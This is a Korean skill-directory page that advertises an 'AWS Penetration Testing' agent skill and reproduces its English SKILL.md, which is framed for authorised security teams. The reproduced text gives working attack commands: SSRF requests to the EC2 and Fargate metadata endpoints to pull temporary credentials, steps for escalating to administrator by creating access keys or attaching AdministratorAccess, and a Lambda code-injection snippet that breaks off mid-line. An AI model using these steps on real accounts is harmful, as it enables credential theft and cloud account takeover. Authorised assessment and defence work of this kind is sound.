본문으로 건너뛰기
Skillpedia
보안33k · #9048

AWS Penetration Testing

하는 일

이 스킬은 에이전트가 AWS 클라우드 환경의 침투 테스트를 수행하도록 안내합니다. 고객의 AWS 계정을 테스트할 서면 허가가 있는 보안 팀을 위한 스킬입니다.

사용하는 경우

  • ✓AWS 자격 증명이 어떤 자원에 접근할 수 있는지 권한을 확인할 때.
  • ✓S3 스토리지 버킷이나 Lambda 함수가 노출되어 있는지 시험해야 할 때.
  • ✓고객을 위한 AWS 보안 평가를 준비하고 있을 때.

스킬 링크

https://github.com/davila7/claude-code-templates/blob/main/cli-tool/components/skills/security/aws-penetration-testing/SKILL.md

복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.

사용 방법

가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.

바로 붙여넣을 수 있는 메시지

Use this skill to help me: https://github.com/davila7/claude-code-templates/blob/main/cli-tool/components/skills/security/aws-penetration-testing/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
AI가 이런 스킬을 알아서 찾아 쓰길 원하시나요?무료 Skillpedia MCP를 설치하세요. 한 줄이면 작업마다 스킬 15,000+개 중에서 검색합니다.1분 만에 설치 →

AI에게 요청하는 예시

“우리 AWS 테스트 사용자가 어떤 권한을 가지고 있는지, 그리고 노출된 스토리지 버킷이 있는지 확인하는 것을 도와주실 수 있나요?”

매주 새 스킬 5개. 읽는 데 1분.

작동 방식

에이전트는 먼저 계정을 확인하고, 권한과 자원을 나열한 뒤, 악용될 수 있는 잘못된 설정을 찾습니다.

기술 내용 (원본 SKILL.md)

작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.

AWS Penetration Testing

Purpose

Provide comprehensive techniques for penetration testing AWS cloud environments. Covers IAM enumeration, privilege escalation, SSRF to metadata endpoint, S3 bucket exploitation, Lambda code extraction, and persistence techniques for red team operations.

Inputs/Prerequisites

  • AWS CLI configured with credentials
  • Valid AWS credentials (even low-privilege)
  • Understanding of AWS IAM model
  • Python 3, boto3 library
  • Tools: Pacu, Prowler, ScoutSuite, SkyArk

Outputs/Deliverables

  • IAM privilege escalation paths
  • Extracted credentials and secrets
  • Compromised EC2/Lambda/S3 resources
  • Persistence mechanisms
  • Security audit findings

Essential Tools

Tool Purpose Installation
Pacu AWS exploitation framework git clone https://github.com/RhinoSecurityLabs/pacu
SkyArk Shadow Admin discovery Import-Module .\SkyArk.ps1
Prowler Security auditing pip install prowler
ScoutSuite Multi-cloud auditing pip install scoutsuite
enumerate-iam Permission enumeration git clone https://github.com/andresriancho/enumerate-iam
Principal Mapper IAM analysis pip install principalmapper

Core Workflow

Step 1: Initial Enumeration

Identify the compromised identity and permissions:

# Check current identity
aws sts get-caller-identity

# Configure profile
aws configure --profile compromised

# List access keys
aws iam list-access-keys

# Enumerate permissions
./enumerate-iam.py --access-key AKIA... --secret-key StF0q...

Step 2: IAM Enumeration

# List all users
aws iam list-users

# List groups for user
aws iam list-groups-for-user --user-name TARGET_USER

# List attached policies
aws iam list-attached-user-policies --user-name TARGET_USER

# List inline policies
aws iam list-user-policies --user-name TARGET_USER

# Get policy details
aws iam get-policy --policy-arn POLICY_ARN
aws iam get-policy-version --policy-arn POLICY_ARN --version-id v1

# List roles
aws iam list-roles
aws iam list-attached-role-policies --role-name ROLE_NAME

Step 3: Metadata SSRF (EC2)

Exploit SSRF to access metadata endpoint (IMDSv1):

# Access metadata endpoint
http://169.254.169.254/latest/meta-data/

# Get IAM role name
http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Extract temporary credentials
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME

# Response contains:
{
  "AccessKeyId": "ASIA...",
  "SecretAccessKey": "...",
  "Token": "...",
  "Expiration": "2019-08-01T05:20:30Z"
}

For IMDSv2 (token required):

# Get token first
TOKEN=$(curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \
  "http://169.254.169.254/latest/api/token")

# Use token for requests
curl -H "X-aws-ec2-metadata-token:$TOKEN" \
  "http://169.254.169.254/latest/meta-data/iam/security-credentials/"

Fargate Container Credentials:

# Read environment for credential path
/proc/self/environ
# Look for: AWS_CONTAINER_CREDENTIALS_RELATIVE_URI=/v2/credentials/...

# Access credentials
http://169.254.170.2/v2/credentials/CREDENTIAL-PATH

Privilege Escalation Techniques

Shadow Admin Permissions

These permissions are equivalent to administrator:

Permission Exploitation
iam:CreateAccessKey Create keys for admin user
iam:CreateLoginProfile Set password for any user
iam:AttachUserPolicy Attach admin policy to self
iam:PutUserPolicy Add inline admin policy
iam:AddUserToGroup Add self to admin group
iam:PassRole + ec2:RunInstances Launch EC2 with admin role
lambda:UpdateFunctionCode Inject code into Lambda

Create Access Key for Another User

aws iam create-access-key --user-name target_user

Attach Admin Policy

aws iam attach-user-policy --user-name my_username \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

Add Inline Admin Policy

aws iam put-user-policy --user-name my_username \
  --policy-name admin_policy \
  --policy-document file://admin-policy.json

Lambda Privilege Escalation

# code.py - Inject into Lambda function
import boto3

def lambda_handler(event, context):
    client = boto3.client('iam')
    response = client.attach_user_policy(
        UserName='my_username',
        PolicyArn="arn:aws:iam::aws:policy/Adm
자주 묻는 질문

AWS 자격 증명이 필요한가요?

네. 스킬은 테스트해도 되는 권한이 있는 자격 증명(권한이 낮은 것도 포함)이 있다고 가정합니다.

어떤 도구를 언급하나요?

스킬은 Pacu, Prowler, ScoutSuite, Principal Mapper 같은 도구를 언급합니다.

감사도 다루나요?

네. 스킬은 공격 테스트와 함께 보안 감사도 포함합니다.

상세 정보

작성자의 원본 설명

This skill should be used when the user asks to "pentest AWS", "test AWS security", "enumerate IAM", "exploit cloud infrastructure", "AWS privilege escalation", "S3 bucket testing", "metadata SSRF", "Lambda exploitation", or needs guidance on Amazon Web Services security assessment.

repo: davila7/claude-code-templates

인기도

GitHub 스타
33k
순위
#9048
라이선스
MIT
업데이트
2026. 11. 2.

이 스킬이 유용한가요?

0

로그인 투표하려면 로그인하세요.

댓글

  • …

이 저장소의 다른 스킬

비슷한 스킬